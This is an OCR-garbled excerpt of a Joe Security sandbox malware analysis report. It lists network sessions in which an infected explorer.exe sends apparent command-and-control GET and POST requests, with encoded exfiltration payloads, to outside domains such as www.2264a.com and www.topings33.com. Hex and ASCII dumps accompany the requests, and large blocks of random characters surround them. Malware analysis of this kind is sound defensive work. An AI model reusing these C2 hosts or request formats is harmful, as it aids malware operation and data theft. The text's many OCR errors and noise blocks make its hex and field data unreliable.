kSO(LGte4An9fmMiqyRhloBn6Vtvj~GzuinxTXxaMdT6Gb56KcWIIbt(7Z0yqghWgZLIkuwD2fxp71QhatAj-OIK80
gtl~TwpBaGiaSPt6AcA526-c8(gzCAvjlLixQa3CojnKdZYPMFENPstc6(aHssfKhEOSYYK(1fUUUBfWLmM4pcqG906_J9u-
VZEjN37aJJiuFt8_ymsnTKxgf-XcDmV9KaCtGQvX8UeqyiYRuINO2CNgyNIiYdeLyJ5N7XU1rfJ9598006M6uSBVKASFUSa
N~PmieYUwuPd300GPh-0s07B7Xb6_nMQGI_XkxLZMvSqaHuPjly8pEnF8Ppg6XzAf~tPUCZTVK0j7zZV0I0uxQ-~gt
ajjGzUUVBYKUfSY9sL04p~HjWa0xrn0ZLEUFYyANj7begk2PKyHh6b1bJiTImYgDNFqvUUlEOMFStMY8W7grLra9biDV-
utgGNiBI3nR74MQuHgnh2C4J8vIkH-sfQ-vxiKCpSFAoyYssyQWKKTavy551iYbuXMKLRZXEn_alc9ekrBSCNYZ
NthYt~rQGB-cGV3ubPWpeXLHIdOrPoBp1fr8ksaatWuWTGNybQnLZqdQw52x7J9toKn~VTx2cAUFO}j9026mRQO7SF
AhK8UbXsNy4Jg(1UPXXHqgX4g~LRZ1aQEC2kxMxZ4d4WMhOxXsLpEOS9vZtavX9SKGdIIWQV3e_udKXL
YLsIDgA1XVLuu7Wu4UiduAb6FS0esndxttGtmwfG GecorGyCyKNwTnrXOJq_uMHCIXIuTBRQOzxK1avDKecnKMbNbQoJ
1Y5jjElqCsidZvexmcXAyp3MloaKQ~S9eOP~6BVbCcN4vQWWRBRNNz59Zb5QcjkYNxrFhBChimFEbkkLO9K0eJIEZ5
7c7BNBH5H8Z(PnnClziYry8sZNF(JC3aelFAFKz2nnq5UuHgiFj3Z(gJsPN3gHSIGX77rFIrHFZRGGA3GG-9pim6Zj
BCwP13LFzEPQ-QQm23jy_vmiaWeiJSbPdL3ybD5KBFGQBbJ4ynWxxhgLzEFtma3Ipiw5I57Tm7w49WJI3Q6dJIGpjjch
EtJjvtksOiSIHRcd4094gf9BHiUe10ELPgsPhgoOgjyiGMTTOXLbbObkNxvzQI60G~whowv~moO5NVwyRUfCXWQrPB
GfeiAjMzvY4kOxoqu(QekoAiE296ki-uRvogcepb2ZX-vixwXFmhOWhgjhoJWiJPOuMZVVp0r5947GBW{8x8IFQU9aH
3n5tqwHhD0zIQAMR-KHDXCbhESOG7D7G(zGwPaoAQy7LIsO10SGhmTSZ4_QJLZNOCoNggqS2LQi9h648DjPvhpg3Sk6
ilu83uelAiYx4rGbHROYINcb5Y8f1RiUC05IbBKNORX]KIRUAhU40bgBYtkA2BA~I50rVY1JYWMdiIUMR8dXbgWhaGL
ylkz4ALxgQnmrclLlorFrbHzLBjGwBYGrR8JptSq7aTXmCO5F3Lx0ufIBUNNXI4caUoVsXW6EYHKLT8nas5F(bLANNR
VXVSGRhT40HJTVHPZBITx410_FPz8dWLgr-IfMn~WtTvX6PxNf216U8(WoBXXrbgNDfyKoTyow6Sgh255F74290V8|
G4vwHd69PYH31QaFSLOfjl1lyYe~pZq908G39anHRPINtFb1ZtZPfuMEq7rISM5kZtkGPd2LYCcjhS11ggZFeA6qJc
JOrDgrv3Nm3bJzFwalJLrkx~umBrHxQ1IQjdRBJim(VsnU7gTXe65fuld3eKVwdSBYGZd5Rkqs31sSe7FFiSMC7JO~
1G2qIXWRYOMkogUcyCorjy5Qrh1mxTdmAgJ6cwhnuURSIIsQx22hOZox_F1a300WFIF(IGk2aD7xHAIMUiuH66zIJm6
xyOyisM1oFMEgFtgWLXNbhQEKVR3Gyj~iZ8xjbadI3tOpMe53gMItWQc9ajOuEDvVB1pnYLtUsUg8XIMRZHPEMrR5SR
aCX5_BYe4nsidUXksVAOXxAr5yiOF5WFclhIHBALVbK6EQveiAetbwmVKauxCNfUW4IBhKsxDGXtoyllaOK~87xCtKN(
k(sEnfdacHi9kKbJvnRN1gq9pDVAppgqo9tRkYompF6Bbd1vsMuVGUPWb57BWdTfsulZPUtjdBGajNz4RIOSDA(15TA
EcsQ_~AXmpiWXCH5bbyA1G-Y30hSVfYmExz2sVql6Mh6Xn1J5ief5SchO4tNgxuJ3Q9506-RwLhPVloeLU-jHAMtIC
DrOfiteaK7HBgc1UVZfc-5vuTCo87F_0TtacnA1~Rz-i-hjzIXNTF12jgC8ShJvOOAWXIXdL]NXR1IUSHVE4ghokFC
tLLLUDHX4vsplAFRX6Z2IAFSje4ib8g5cShA3fp4pZcxN2LAq4)7s7zedyFLISY 1lyo4UuZihZ9a94WpYhCh8pWIOpE
R7vPaifUyjuYUcocO9iJR(V8_Z5(x1Y ShqtkOQ4i36f~zrZMprbhfDgv-M_IEnFhx(ZcLiud_ORL60ouJOobV7MIwOw
XEtetN1SVcdX7c421Y41dfkW8M_4pJh5bKGV940OUE016nP-0c0DdytCv7r340a6S9d0TFOOPCGVNLSIUYUXrjMcn44
eQPj5FBnBgLciiyMKe3GQk3EILfkOk2va(fAUXGOUBpeTZmgQn4QLvC2Vy6MMAQgYJsMd28WhCjlyyAdXzKoilx4qJl
0s1sYIKvhad4d7dxBYEvjlrPpXz8XzCx7NXnIRMVEpAEHVSyGTjbAGEaNguVQGVKOkkdI6tGJusybX1jDOVAIA7KQjw
TFjlina(JOOHmMgv6uswW5ZCFsHRieulvxU65jqQbE_SZanmrlAlU(Q7x1B3ITxi5BINJM600IdF50KRhbyAtQH1BuOy
FkviiSzjIkHpN7iR_~x(-eYcigPVXvnUiKIMJO0pffuVj1UzNSfnc3sLzAiWgD8KoRc80Qbg8JqCh3wgBFPVT14FBi8
KEWOErimH7RevU2bmdBHILKZTUU~vwwMMMvhXYkn9ZMNBZoJwSB06T6vISIa44KWFowFBVon4zaaG550
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Timestam e
P transferred
Session ID Source IP
2 192.168.2.3
. kBytes
Timestamp transferred
May 27, 2022 7562
17:27:43.433156013
CEST
May 27, 2022 7562
17:27:43.669416904
CEST
Session ID Source IP
20 192.168.2.3
. kBytes
Tim m
estamp transferred
May 27, 2022 8583
17:28:30.214937925
CEST
May 27, 2022 8651
17:28:30.576174021
CEST
Session ID Source IP
21 192.168.2.3
. kBytes
Timestamp transferred

Copyright Joe Security LLC 2022

Direction

Source Port

49810

Direction

ouT

Source Port

49883

Direction

ouT

Source Port

49913

Direction

Destination IP

162.0.230.89 80

Destination IP

137.220.133.198 80

Destination IP

104.21.4.45 80

u5q0Ywkt4ZhIKMDmJee2_oMZrohMS0ZpSOKHCaA7s5gu00XPddfadeZuGsAdCI1NCafrVWL(fzg~P2eEPCNEvXd5Id
MXXBWVSJV9~46a~SnyTsYaRSfChi_dOeznZDer? F490IBFdfr2k3AndKpDIO4f9LvzpZIFvgICbDSyrnTgEa7
wXVanhZccfgHINhn28UZjabcB1TIFOBPGB2iD4HD2GLxn4W93TlenTixXEiKadjPEDwPykpCjmoblpJcqZfODCroDY
W8uuKivw7YR~xEMImssosZEg4e96 MW{7t5FF2kR(buLrlXs6IP80ydmPUb1K504hL8ap98wqin1fznoG32LvrHxJ_4
aabJSgVZj~_d6Vs9hxuZFMO07VoUulFMIcNgOi~CdpY880XFA5Pg~anVsVh

Destination Port Process

C:\Windows\explorer.exe

Data

GET /np8s/?c2MH6DeP=+1vSQSU4VFPBNKLBEMH3DU8MRg7YeugbcMOylP3MOivye7s4zRc3erRZEPodkGecNW4yt&h
FQL=JXUhrvXxUhF4 HTTP/1.1

Host: www.topings33.com

Connection: close

Data Raw: 00 00 00 00 00 00 00

Data Ascii:

HTTP/1.1 404 Not Found

Date: Fri, 27 May 2022 15:27:43 GMT

Server: Apache/2.4.29 (Ubuntu)

Content-Length: 279

Connection: close

Content-Type: text/html; charset=iso-8859-1

Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20
48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6¢ 3e 3c 68 65 61 64 3e 0a 3¢ 74 69 74 6¢ 65 3e 34 30 34 20 4e
6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6¢ 65 3e Oa 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46
6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4¢ 20 77 61 73 20 6e 6f 74 20 66
6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3¢ 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41
7061 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 77 77 77 2e 74 6f 70
69 6e 67 73 33 33 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74
6d 6¢ 3e Oa

Data Ascii: <IDOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><htmI><head><title>404 Not Found</title></head>
<body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><hr><address>Apache/2.4.29
(Ubuntu) Server at www.topings33.com Port 80</address></body></htm|>

Destination Port Process

C:\Windows\explorer.exe

Data

GET /np8s/?c2MH6DeP=0AQ8ZAk71VYHsoGBQeS0cLLvyBMKMIAsSKOta2CkcQgnl+jMatCDHWZEKCDKr1q9/u4Y&h
FQL=JXUhrvXxUhF4 HTTP/1.1

Host: www.ratebill.com

Connection: close

Data Raw: 00 00 00 00 00 00 00

Data Ascii:

HTTP/1.1 200 OK

Server: Tengine

Date: Fri, 27 May 2022 15:28:30 GMT
Content-Type: text/html; charset=UTF-8
Transfer-Encoding: chunked

Connection: close

Vary: Accept-Encoding

Data Raw: 31 0d Oa 2e 0d Oa 30 0d 0Oa Od Oa
Data Ascii: 1.0

Destination Port Process

C:\Windows\explorer.exe

Data
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kBytes

Timestamp e Direction
May 27, 2022 9204 ouT
17:28:55.788012028
CEST
Session ID Source IP Source Port
22 192.168.2.3 49914
kByt:
Timestamp yes Direction
transferred
May 27, 2022 9218 ouT
17:28:55.822349072
CEST

Copyright Joe Security LLC 2022

Data

POST /np8s/ HTTP/1.1

Host: www.2264a.com

Connection: close

Content-Length: 414

Cache-Control: no-cache

Origin: http://www.2264a.com

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko

Content-Type: application/x-www-form-urlencoded

Accept: */*

Referer: http://www.2264a.com/np8s/

Accept-Language: en-US

Accept-Encoding: gzip, deflate

Data Raw: 63 32 4d 48 36 44 65 50 3d 64 59 74 76 67 6a 62 54 4e 72 52 32 79 38 64 7a 58 30 67 55 4c 74 42 4¢ 52 53
6d 2d 6e 42 4b 6f 79 6f 7a 59 4a 6b 4b 56 42 77 49 43 34 62 7a 6b 7e 32 4c 4f 67 65 55 51 63 4e 32 52 63 66 4c 6b 4e 4c
58 3028 69 47 32 48 66 54 34 4d 43 71 61 39 4d 4c 51 4b 57 30 47 32 41 66 46 58 63 4e 73 63 62 37 33 45 4c 57 41 44
6f 70 5a 43 68 7e 55 45 4d 6b 31 57 61 6d 6e 41 66 39 31 53 43 79 58 73 36 53 41 6d 79 31 58 64 36 79 36 62 5a 50 66
67 47 71 48 50 5f 61 67 51 33 76 53 76 34 49 5a 6b 39 35 36 6b 36 76 74 30 37 6f 31 5a 69 36 6e 7a 5f 5a 56 39 41 4d
5067 79 76 69 34 67 62 4b 28 53 72 76 39 51 50 4c 38 4c 4b 31 55 39 31 5a 4a 49 39 6b 69 76 37 73 39 70 53 48 66 4d
49 54 58 6d 64 33 49 4d 76 49 33 47 50 73 44 52 63 4a 61 74 43 79 67 49 43 41 45 62 52 64 57 4e 4d 4c 6a 74 4c 4f 41
35 7e 45 7e 33 32 74 4d 6f 4b 43 48 4f 6e 76 52 53 65 78 35 59 30 71 70 6f 4d 49 7a 5a 30 57 44 61 66 6¢ 6a 52 35 67 59
64 28 59 51 67 61 67 48 64 42 51 46 61 52 78 59 6¢ 53 35 36 36 52 74 30 48 67 7a 6d 39 77 32 4d 78 52 56 41 4a 75 79
4d 38 4c 38 65 74 59 30 39 35 71 49 41 53 5a 43 33 4e 65 39 38 4f 78 58 62 56 46 66 73 4b 47 65 6¢ 56 32 30 47 49 55
6f 79 4a 6e 44 7a 34 65 47 58 45 39 77 69 63 73 41 6a 55 5a 4e 5a 51 29 2e 00 00 00 00 00 00 00 00

Data Ascii: c2MH6DeP=dYtvgjbTNrR2y8dzX0gULtBLRSm-nBKoyozY JkKVBwIC4bzk~2LOgeUQcN2RcfLKNLXO(
iG2HfTAMCga9MLQKWOG2AfFXcNsch73ELWADopZCh~UEMk1WamnAfd1SCyXs6SAmy1Xd6y6bZPfgGgHP
_agQ3vSv41zk956k6vt0701Zi6nz_ZVIAMPyvi4gbK(SrvOQPLBLK1U91ZJI9kiv7s9pSHIMITXmd3IMvI3GPsDRc
JatCygICAEbRAWNMLjtLOA5~E~32tMoKCHONVRSex5Y0qpoMIzZ0WDafljR5gYd(YQgagHdBQFaRxYIS566Rt0Hgzm
9W2MXRVAJuyM8L8etY095qIASZC3Ne980xXbVFfsKGelV20GIUoyInDz4e GXEwicsAJUZNZQ).

Destination IP Destination Port Process
104.21.4.45 80 C:\Windows\explorer.exe
Data

POST /np8s/ HTTP/1.1

Host: www.2264a.com

Connection: close

Content-Length: 36482

Cache-Control: no-cache

Origin: http://www.2264a.com

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko

Content-Type: application/x-www-form-urlencoded

Accept: */*

Referer: http://www.2264a.com/np8s/

Accept-Language: en-US

Accept-Encoding: gzip, deflate

Data Raw: 63 32 4d 48 36 44 65 50 3d 64 59 74 76 67 68 28 46 41 37 38 77 38 4d 67 6a 55 48 51 41 41 38 52 4e 54 69
79 48 36 31 61 65 28 36 4c 55 52 46 36 6b 41 78 68 44 38 72 76 4e 36 78 6d 54 67 63 4e 30 49 6f 47 56 4c 50 33 6a 4e
4c 50 4b 28 69 79 32 56 75 71 6¢ 4d 67 43 30 39 70 66 54 47 57 30 4d 33 41 66 63 61 34 45 2d 63 62 33 4a 45 4c 50 62
4159 56 5a 51 54 57 55 47 4c 51 36 4d 4b 6d 68 4e 5f 73 30 63 69 7e 77 73 38 36 59 6d 77 68 58 64 74 36 36 55 63 48
63 6d 48 71 47 55 5f 61 6¢ 41 6e 76 78 6d 59 45 6e 6b 39 74 4d 6b 37 44 74 30 4a 4d 31 5a 79 61 6e 69 6f 6¢ 61 7a 51
4d 4f 79 43 76 56 38 67 6e 58 28 54 44 7a 39 52 4c 78 38 5f 65 31 58 74 31 55 44 37 4d 45 6e 34 76 46 28 71 4f 67 66
4d 4e 48 58 53 46 76 49 4a 57 54 77 33 65 4a 50 56 6¢ 6b 61 6f 36 4d 69 6f 44 4a 4c 37 51 4a 57 4e 4e 36 6a 74 4¢ 67
413475 45 7e 32 75 74 4e 4c 79 43 52 36 54 73 65 53 66 61 67 49 30 49 71 59 51 61 7a 5a 4e 52 44 65 54 44 69 6a 56
67 65 3850 59 5a 78 61 6a 66 74 42 73 4b 36 51 76 52 46 53 69 36 36 51 41 30 47 67 5a 6d 4d 67 32 44 41 52 56 44 73
61 79 66 38 4c 38 43 39 5a 79 76 35 33 56 41 55 78 47 33 4e 75 4c 38 5a 68 58 43 6d 39 66 73 6f 75 65 70 46 32 30 41
49 55 5f 32 35 4f 4f 6¢ 37 57 6b 56 57 46 7a 6b 70 68 5f 70 57 63 6b 4a 4a 69 42 38 5f 62 76 70 75 50 53 70 4b 76 43 4d
56 6a 75 30 58 71 51 79 6¢ 73 65 4f 71 6¢ 35 51 37 35 62 37 37 42 31 6¢ 62 6d 56 32 45 56 6b 42 49 6a 5f 4a 47 56 77
41 51 35 6d 4e 49 44 65 6b 42 63 4e 64 67 43 79 5a 59 6¢ 4e 28 6b 6d 52 33 72 4e 4a 6¢ 6f 57 44 62 62 73 2d 31 76 35
6e 63 66 77 6d 4d 58 6d 52 56 51 61 57 50 71 58 4f 30 50 75 62 61 51 71 48 58 69 61 44 54 32 45 4c 48 42 78 58 44 30
6d 62 42 59 74 43 6b 76 45 66 43 34 7a 52 44 41 4e 31 71 37 37 41 67 36 70 62 57 4a 4e 54 45 6¢ 41 4f 75 30 63 34 66
52 41 42 28 43 53 61 37 32 6f 4c 4¢c 50 4e 41 46 45 28 67 48 70 55 32 41 6f 66 31 66 73 72 70 38 31 28 7a 4e 67 61 77
5574 4b 58 71 48 53 77 51 77 68 31 42 4c 69 66 65 74 33 6e 4e 30 4e 6f 47 59 54 59 36 42 4c 6b 4b 71 67 51 44 71 67
583936 74 73 4f 72 41 71 43 70 30 4a 6a 31 71 76 47 77 35 59 38 75 4a 4f 59 43 33 6f 6f 58 55 79 71 43 64 58 69 53 43
68 78 38 4e 54 46 74 64 76 61 33 34 64 61 36 74 63 4a 6e 44 6¢ 70 69 6¢ 65 48 50 6b 50 57 43 70 7a 61 53 57 67 74 73
31 4b 70 4a 43 37 6f 30 63 6a 6¢ 53 55 76 32 78 75 38 53 6a 36 38 6b 43 69 64 6b 6b 75 6b 6d 6e 56 4b 59 42 43 59 78
44 4e 49 75 53 63 76 70 6f 6f 58 6d 36 4c 33 32 61 32 7a 4c 38 63 71 34 39 4b 79 28 5f 6¢ 6e 72 39 62 66 32 37 4d 71 33
38 55 4f 79 70 4e 36 65 7a 64 58 52 64 65 76 73 51 4d 58 62 6e 67 32 70 6b 4f 42 72 30 65 44 70 35 38 30 70 4f 74 68
50 78 41 6f 37 2d 4f 63 7a 53 61 41 7a 67 31 31 6b 45 46 36 34 38 55 55 35 47 64 5f 74 6e 4c 78 50 31 5a 47 56 69 77
48 6¢ 38 35 34 47 4f 4c 4a 6a 68 70 6e 61 45 55 64 6b 41 55 45 56 70 7a 53 31 78 6b 49 31 41 4d 72 57 61 76 6d 50 49
51 75 4f 61 54 5a 30 76 37 31 31 38 4e 37 53 44 4e 67 7e 37 34 6e 52 62 31 4f 65 61 30 70 39 43 77 31 6b 78 6e 45 36
5253 2d 79 78 6a 53 61 54 32 34 4c 5a 31 76 73 56 77 42 7a 6d 35 34 65 67 75 4d 4a 52 69 67 77 64 57 35 4f 6a 70 65
70 77 32 6b 65 79 77 61 73 61 6d 2d 52 50 77 6b 44 4c 59 68 48 4d 34 56 62 63 52 4d 58 76 35 41 66 6b 57 71 47 79 36
49 5a 38 68 51 57 4d 57 46 51 75 45 55 55 75 48 56 53 70 50 56 73 65 73 6a 78 48 28 77 44 61 78 4a 51 37 4e 46 69 54
66 5a 6d 36 61 75 44 75 63 4d 77 48 77 4b 36 2d 46 33 63 6f 4f 77 44 58 67 5f 38 36 79 7a 35 78 79 53 44 42 4e 61 Te
47 3051 28 34 6e 7249 47 34 7a 4b 71 58 67 58 6d 43 47 50 76 58 56 53 51 6a 78 75 61 6e 79 56 72 4d 48 70 62 49 65
39 6f 73 71 62 78 66 45 36 56 4e 45 6e 6b 57 75 34 48 72 65 6a 6a 74 62 78 35 79 79 44 64 5a 59 59 5a 4a 70 33 71 67
39304157 47 6d 77 52 4e 37 4c 37 79 50 48 70 6b 6a 4f 48 54 4e 66 6¢ 4c 38 34 69 4d 37 35 36 62 53 5f 64 4a 59 42
334459 44 74 6d 4c 6e 65 4f 57 73 6¢ 43 69 61 64 6d 68 47 47 6a 4a 69 6e 56 39 59 41 4b 36 62 36 36 51 6b 54 54 5a
64 52 5f 6e 42 4d 6d 42 62 6¢ 78 4f 2d 35 35 63 6e 78 6¢ 66 55 62 48 54 51 63 73 6e 59 30 6d 4d 55 36 36 72 32 46 75
47 6e 6a 4a 62 5f 51 37 28 32 58 47 78 37 70 6f 7a 70 67 6a 77 64 38 55 54 31 68 37 45 46 46 54 7e 69 65 59 72 73
Data Ascii: c2MH6DeP=dYtvgh(FA78w8MgjUHQAABRNTiyH61ae(6LURFEKAXhD8rvN6xmTgcNOIoGVLP3jNLPK(

iv2VualMaC09nfTGWOM3AfcadE-cb3JELPbAYVZOTWUGLOE6MKmMhN sOci~ws86YmwhXdt66UcHcmHaGU alAnvxmYE
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Timestamp LEpee Direction
transferred

May 27, 2022 9245 IN

17:28:57.024982929

CEST

Session ID Source IP Source Port

23 192.168.2.3 49915

Timestamp L Direction
transferred

May 27, 2022 9242 ouT

17:28:55.855866909

CEST

Copyright Joe Security LLC 2022

104.21.4.45 80

nk9tMk7Dt0IM1ZyaniolazQMOyCvV8gnX(TDz9RLx8_el1Xt1UD7MEnN4vF(qOgfMNHXSFvIJIWTw3eJPVIkao6MioDJL
%B‘WNNSJtLgAM E~2utNLyCR6TseSfaglOlqgYQazZNRDeTDijVge8PYZxajftBsK6QVRFSi66QA0GgZmMg2DARVDsa
yf8L8CI9Zyv53VAUXG3NuL8ZhXCm9fsouepF20AIU_250017WkVWFzkph_pWckJJiB8_bvpuPSpKvCMVju0XgQylseO
ql5Q75b77B1IbmV2EVkBIj_JGVWAQ5mMNIDekBcNdgCyZYIN(kmR3rNJloWwDbbs-1v5ncfwmMXmRVQaWPgXO0PubaQq
HXiaDT2ELHBXxXDOmbBYtCkvEfC4zRDAN1q77Ag6pbWJINTEIAOUOC4fRAB(CSa720LLPNAFE(gHpU2A0f1fsrp81(zN
gawUtKXgHSwQwh1BLifet3nNONoGYTY6BLkKggQDqgX96tsOrAgCp0JjlqvGw5Y8uJOYC300XUyqCdXiSChx8NTFtd
va34da6tcInDIpileHPkPWCpzaSWgts1KpJC700cjlSUv2xu8Sj68kCidkkukmnVKYBCYxDNIuScvpooXm6L32a2zL
8cq49Ky(_Inr9bf27Mg38UOypN6ezdXRdevsQMXbng2pkOBroeDp580pOthPxAo7-OczSaAzgl1kEF648UUSGd_tnL
XP1ZGViwHI854GOLJjhpnaEUdKkAUEV pzS1xkl1AMrWavmPIQuOaTZ0v7118N7SDNg~74nRb10ea0p9Cw1lkxnE6RS-y
xjSaT24LZ1vsVwBzm54eguMJRigwdW50Ojpepw2keywasam-RPwkDLYhHM4VbcRMXV5AfkWqGy61Z8hQW
MWFQUEUUUHVSpPVsesjxH(wDaxJQ7NFiTfZm6auDucMwHwK6-F3coOwDXg_86yz5xySDBNa~G0Q(4nrl
G4zKgXgXmCGPvXVSQjxuanyVrMHpble9osgbxfE6 VNEnkWu4Hrejjtox5yyDdZYYZJp3qg90AWGmwRN7L7yPHpkjOH
TNfIL84iM756bS_dJYB3DYDtmLneOWSsICiadmhGGjJinVIYAK6b66QKTTZdR_nBMmBbIXO-55cnxIfUbHTQcsnYOmM
U66r2FuGnjb_Q7(2XGx7pozpgjwd8UT1h7EFFT~ieYrs3y899Z80mopA3nmEBHNgJYyecX01lc-Fjt6K_AoKms8aJu
GmyDmMAMLLPW2NYGVdgD~CiV6iamT9H918xXv9jnXKY3CXi-84fG~dCqZ3SYZAdMhzajSO6BX_2BIPIZ7KUgmMAV6Gj
JjSrFISPvyYcrfQVgO3PjjlmYeJDztGAevwKAJZONyODPfeq92f4FknBX4i0JKvkgc7eKUcJr66fRNevigveD9_wbK
FUDHCc9EcMge9Pnr~kMoLulu6PrajlFnxI(E1TgZblOSmgQHVDEMUNEQViTO71SIICnuynQvVqr895nBpKpAtr~4lu8
_CsnD60dsGp0gbtkApj9wnNAIIVgy5sblKbdoySRoGKXIQvZbL Gv-pnvdYsCByG0IQqJb(kzSnuibxcAsxFZZ4dGdX
pQIILUuwWEXQ40Uv~tdh04J-820gm9h2nt9iNMJIrQIdAviwgiSOmEmb1g0YADalrZIxyzo6qjlPMhw3cZDRz5mdXqM0
JFibmlc7bXXvaEzu_zmTHLMbRXxbX(t8ydUJsHhIHkvbQWbIWwZ4d0YmzHiYaw99xNrzp3-Lx~S10~dKHOwJL72L_B
sipzrcbXk8fFpTtNCO2tR8ywiT6MEQTjUH4bNIoVRHS5DLV(JR9aX0l0hdQ7fkWOTR4ARHBHWMKH(MYrx1xQZ0eUoCF
E8X0sFU380Lmsr0SsyeguQq0ZoLURPhwTkHpAZNXty8KWtxlheVndxL4ipWG OJBgfYf6gBMygYKy1lEyPPZAh3IkjhW
zbr51iBMTG4a7UoGpfF6jg3zofFuplKWxetSlugm_3pTYicQLODNnoF74NhdedISskRRxu6om7xymMO0tJ4YgB-NZmzw
15synJT8amYPVEIfDMFX-RvHg3h8U95SZ1IS_oF21fEqICsuUae50(gbFL20JjRh6SePP9IRT8claJAbtthW9AI9Bv
_bYj2RLOpggNHzzZWmB2TrExI2M1U4VCDgOO~MPul-Maz7PpR4mDtTIOvF8cKaomP1NZEwgrc9hAAOhdbfsTVyrji04
MjoSDuvgaypL4Fh(SVKBJIBNFqwX3ihT4UC5JswmwQ(5B7sL8TtvW1K5CxKoGqulAkHx9BmnSMiMMieRUXUFRZgBEpPQ
gwnEv(mTrH2ri7zM4ZPfQT9jVroPWyHG3RgsV(90SenrwJylyTOZ7KtiKCyxMIOds9K7x2E2RBmlaDTXbPE16Wc18E
AOjRant~zTIO0G60SZIDZATZRIi_AX~VTIWUTY89JF(F(nfe8 TxXSBNxyfhLyjQgJItNGfhIFFgsm6IC(TIMPbBJO5SR
aDmodUknFKyYtX40S82cPeUIHhrz4q7B7V-hKffjlctcL1xqUNigZRbnGoF5L1X1hgBeUVqSttxco03x549Ai9Y Vif
bVeQMMeOc8gNcsBy PX1VCLnxmi9b839rxLQ4MOrOmkg_hA5FUOhgNLKRG6E7QriYkSEVHQQqndHYiY-Ef(4e44XLjC
hh_jrwXrxOmY 1RBonye9Y SKPHZyHkAoHsGZGGhzI3cE30xGKJIPV85M9GF7rSaGB02hBtRPPDX3WMTTIVLgznlEMSX|
0glu_cUa8itHVOULfOxns51(fX9ppadskEAKCoiT18SRrp-GUENak5sqQu_y9tVHx5hwDiPwY QIX6IKgwlzbH191kI
_ATOO0sSWUI2yRIs~ptQdrPPOLAtw72dHaQjgfTxvx0C5cbYC_E1(Aah699EFk9j3NnytktlfOVsgRjnW4MMB;jr7Exb
WZV7TEUnwsfTQb-vY3g(u6-KlaSUMOWDTtbgACEUBKPTlagxY EMPuwOMHmMM6XPjk0Yf3V2VDoyl2suel9Ns3ZgDkfw
I10QC1TB5GpHjOoeh-chi4cueFDk6SxZAIh1rBgNNmMEAeBUEQbL 7mJIgIMfSmE7-TrgnDHDS2t0HOUdj9IGFEM7KIG(
VV2XIWKT66cyTRCJI086P8Y SytkVrweNz-k-Tg8dEAz-t3ZFnK9ddqUEowpVQ80tJullLotL54wvsh5PTVNVGOTCreJd
Z5FBfJdxeDhYTCwAbaCFUaSL8LrCPRul7TrxFpzYpCpYpXEThhorLmKT1S5rJsbUCK3fdWWRbpADVP_iiiu3mvfriL
bgWvF~I51Du~r1dr876qBhdzSORIVIZ4EDjQubespCNinL36gW_UgteA1UUgS4BLDFpg40zmR~ilZW7x-pNpQF_62h
Q5zDXmnl4ptRHUK3ZaUZ_1AnihSmXwbwcSWXIZTS8DLATIQKHM7¢c7B_YVLKQCFpywC1n1VINOc4Ji3e8
VSaPVVQW3DNbQRdtI9ZwUgnW1eP7dfMUBhsg-vrwUCQxvOw53nqtjc44dJsDvlkyhZb0-ylQBfEIMOIPtooRY8VEBv
agHPDWL653F7IghYZFazZWJImQT6dTzivE8DItzADSoxJCK~UXsgxIGkv8V7Sk5zALXoK7miJzurjixnhABRCdan3_DwY
rUi~3YJaOPBeWOUiaVHPD8NYfTyj3I7e SErblaDdXc8bctQPai3qAd5I3kZGEidcqAGNVKk597YrVZxdh8GT2RDwy5L
jbfRNzgecmRz9v20wwkdI4F_t9mtOnl1DEXCQPXQclgtljsiRRCOUJ~WjVFPgZ8pYxwJjZBJ20ICmgatLvY8UMIXd9
pmalwRfwG5_aacumWhbICYvJprVSjuYV6Zyr11UGGSDn820A~eUk9-YO8p9ChPY1g5TeXKbn1nOrlEm

HTTP/1.1 404 Not Found

Date: Fri, 27 May 2022 15:28:57 GMT

Content-Type: text/html

Transfer-Encoding: chunked

Connection: close

CF-Cache-Status: DYNAMIC

Report-To: {"endpoints":[{"url":"https:V\Va.nel.cloudflare.comV/report\/v3?s=aYDNIrgnAgJHsp2BkArxa%2Fbw9L 2rr8
Y39iryxmsUNM9WaORihaqgBHIW]IX02N7auwbJtC68CY8ug7xM4ZGWRwwt1Aj3bMgaSEQh4Vu%2B%2BsVzL%2FCvIP
je7MgZeidNJOfS"}],"group™:“cf-nel","max_age":604800}

NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}

Server: cloudflare

CF-RAY: 711fc87cf80d0686-LHR

Content-Encoding: gzip

alt-sve: h3=":443"; ma=86400, h3-29=":443"; ma=86400

Data Raw: 64 38 0d Oa 1f 8b 08 00 00 00 00 00 00 03 6¢ 90 cd 4e ¢3 30 10 84 ef 79 0a d7 e7 5a 81 1b 12 76 a4 Oa 71 e0
01 90 b8 3a 6 14 af e4 9f e0 ac 53 fa f6 55 53 02 3d 70 1a 7d ab d9 59 cd ea 9d 2f 8e cf 13 44 e0 14 87 4e 6f 02 eb 87 4e
27 b0 15 81 79 52 8 6a b4 18 59 71 ac 98 83 14 ae 64 46 66 23 1f 9e 5b 8d a6 97 a2 df fc 2e d8 3a 83 8d 6¢ 7c 54 4f f2
bf 98 0f f5 7e 50 2f 25 4d 96 69 8c b8 8b 7b 7b 35 f0 9f f8 dd ca 36 c1 c8 85 70 9a 4a €5 3b e3 89 3c 07 €3 b1 90 83 5a
